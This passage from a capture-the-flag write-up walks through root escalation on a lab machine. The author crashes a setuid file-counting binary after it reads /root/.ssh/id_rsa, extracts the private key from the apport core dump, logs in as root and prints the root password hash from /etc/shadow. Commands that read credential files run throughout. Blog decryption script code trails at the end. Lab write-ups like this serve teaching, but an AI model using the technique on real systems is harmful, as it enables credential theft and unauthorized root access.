[y/N]: ^Z [1]+ Stopped ./count dasith@secret:/opt$ ps PID TTY TIME CMD 1757 pts/0 00:00:00 bash 50899 pts/0 00:00:00 count 50900 pts/0 00:00:00 ps dasith@secret:/opt$ kill -11 50899 dasith@secret:/opt$ fg ./count Segmentation fault (core dumped) If this has worked then we should find a coredump in /var/crash dasith@secret:/opt$ ls -la /var/crash/_opt_count.1000.crash -rw-r----- 1 dasith dasith 28010 Dec 21 20:31 /var/crash/_opt_count.1000.crash And there it is! Let’s grab this and see what we can do with it dasith@secret:/tmp$ file _opt_count.1000.crash _opt_count.1000.crash: ASCII text, with very long lines dasith@secret:/tmp$ head _opt_count.1000.crash ProblemType: Crash Architecture: amd64 Date: Tue Dec 21 20:31:54 2021 DistroRelease: Ubuntu 20.04 ExecutablePath: /opt/count ExecutableTimestamp: 1633601037 ProcCmdline: ./count ProcCwd: /opt ProcEnviron: SHELL=/bin/sh Many googles later we find that we need to unpack this file with apport-unpack dasith@secret:/tmp$ apport-unpack ./_opt_count.1000.crash ./unpacked_crash dasith@secret:/tmp$ cd unpacked_crash/ dasith@secret:/tmp/unpacked_crash$ ls Architecture Date ExecutablePath ProblemType ProcCwd ProcMaps Signal UserGroups CoreDump DistroRelease ExecutableTimestamp ProcCmdline ProcEnviron ProcStatus Uname And there is a CoreDump file which we can supply to gdb dasith@secret:/tmp/unpacked_crash$ gdb /opt/count ./CoreDump GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2 Copyright (C) 2020 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: . Find the GDB manual and other documentation resources online at: . For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from /opt/count... (No debugging symbols found in /opt/count) [New LWP 50899] Core was generated by `./count'. Program terminated with signal SIGSEGV, Segmentation fault. #0 0x00007f9f87e71142 in __GI___libc_read (fd=0, buf=0x56534b6826b0, nbytes=1024) at ../sysdeps/unix/sysv/linux/read.c:26 26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory. (gdb) Cue a LOT of fumbling around in gdb before we try a little bit different approach, way more hacky… dasith@secret:/tmp/unpacked_crash$ strings * | grep -iE '[a-f0-9]{32}' `REDACTED` Since we know the format of the flag, we can just grab it with a regex, we’re done! It is worth noting that of course here we don’t have full root privs, we’re just borrowing them for a short while. We can of course get them though by not extracting the flag, but instead grabbing the root user’s private SSH key. Let’s try that for fun dasith@secret:/tmp$ /opt/count Enter source file/directory name: /root/.ssh/id_rsa Total characters = 2602 Total words = 45 Total lines = 39 Save results a file? [y/N]: ^Z [1]+ Stopped /opt/count dasith@secret:/tmp$ ps PID TTY TIME CMD 1757 pts/0 00:00:00 bash 51066 pts/0 00:00:00 count 51067 pts/0 00:00:00 ps dasith@secret:/tmp$ kill -11 51006 dasith@secret:/tmp$ fg /opt/count Segmentation fault (core dumped) So far so good, now let’s grab the crash file and unpack it dasith@secret:/tmp$ cp /var/crash/_opt_count.1000.crash . dasith@secret:/tmp$ apport-unpack _opt_count.1000.crash unpacked_crash_idrsa dasith@secret:/tmp$ cd unpacked_crash_idrsa/ dasith@secret:/tmp/unpacked_crash_idrsa$ strings CoreDump | grep -n BEGIN 83:-----BEGIN OPENSSH PRIVATE KEY----- dasith@secret:/tmp/unpacked_crash_idrsa$ strings CoreDump | grep -n END 120:-----END OPENSSH PRIVATE KEY----- And now we should find, between lines 83 to 120, the root private key dasith@secret:/tmp/unpacked_crash_idrsa$ strings CoreDump | sed -n '83, 120p' id_rsa_root dasith@secret:/tmp/unpacked_crash_idrsa$ chmod 600 id_rsa_root dasith@secret:/tmp/unpacked_crash_idrsa$ ssh -i id_rsa_root root@localhost Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-89-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Tue 21 Dec 2021 09:41:28 PM UTC System load: 0.01 Processes: 215 Usage of /: 53.3% of 8.79GB Users logged in: 0 Memory usage: 20% IPv4 address for eth0: 10.10.11.120 Swap usage: 0% 0 updates can be applied immediately. The list of available updates is more than a week old. To check for new updates run: sudo apt update Last login: Tue Oct 26 15:13:55 2021 root@secret:~# id uid=0(root) gid=0(root) groups=0(root) root@secret:~# grep root /etc/shadow root:$6$/0f5J.S8.u.dA78h$xSyDRhh5Zf18Ha9XNVo5dvPhxnI0i7D/uD8T5FcYgN1FYMQbvkZakMgjgm3bhtS6hgKWBcD/QJqPgQR6cycFj.:18873:0:99999:7::: Pwned! Have to go back at some point and figure out how to do the same thing in gdb, but… div#hugo-encrypt-sha1sum {display: none;} const storageKey = location.pathname + "password"; const userStorage = window['sessionStorage'] ; function str2buf(str) { return new TextEncoder("utf-8").encode(str); } function buf2str(buffer) { return new TextDecoder("utf-8").decode(buffer); } function hex2buf(hexStr) { return new Uint8Array(hexStr.match(/.{2}/g).map(h = parseInt(h, 16))); } function deriveKey(passphrase, salt) { salt = salt || crypto.getRandomValues(new Uint8Array(8)); return crypto.subtle .importKey("raw", str2buf(passphrase), "PBKDF2", false, ["deriveKey"]) .then(key = crypto.subtle.deriveKey( { name: "PBKDF2", salt, iterations: 1000, hash: "SHA-256" }, key, { name: "AES-GCM", length: 256 }, false, ["encrypt", "decrypt"], ), ) .then(key = [key, salt]); } function decrypt(passphrase, saltIvCipherHex) { const [salt, iv, data] = saltIvCipherHex.split("-").map(hex2buf); return deriveKey(passphrase, salt) .then(([key]) = crypto.subtle.decrypt({ name: "AES-GCM", iv }, key, data)) .then(v = buf2str(new Uint8Array(v))); } async function digestMessage(message) { const msgUint8 = new TextEncoder().encode(message); const hashBuffer = await crypto.subtle.digest('SHA-1', msgUint8); const hashArray = Array.from(new Uint8Array(hashBuffer)); const hashHex = hashArray.map(b = b.toString(16).padStart(2, '0')).join(''); return hashHex; } const hugoDecrypt = function(password, type) { for (const cipher of ciphers) { decrypt(password, cipher.innerText).then(function(decrypted_text) { digestMessage(decrypted_text.replace(/\r?\n?[^\r\n]*$/, "")).then(function(sha1_sum) { if ( decrypted_text.includes(sha1_sum) ) { document.getElementById("hugo-encrypt-encryption-notice").remove(); cipher.outerHTML = decrypted_text; userStorage.setItem(storageKey, password); document.getElementById("hugo-encrypt-sha1sum").innerHTML = "Success: " + sha1_sum; console.log("Decryption successful. Storing password in sessionStorage."); } }); }).catch(function(error) { if (type === "input") { document.getElementById("hugo-encrypt-input-response").innerHTML = "Password is incorrect"; console.log('Password is incorrect', error); } else if (type === "storage") { userStorage.removeItem(location.pathname + "password"); console.log("Password changed. Clearing userStorage.", error); } }); } }; window.onload = () = { ciphers = Array.from(document.querySelectorAll("cipher-text")); if (userStorage.getItem(storageKey)) { console.log("Found storageKey in userStorage. Attemtping decryption"); hugoDecrypt(userStorage.getItem(storageKey), "storage"); } };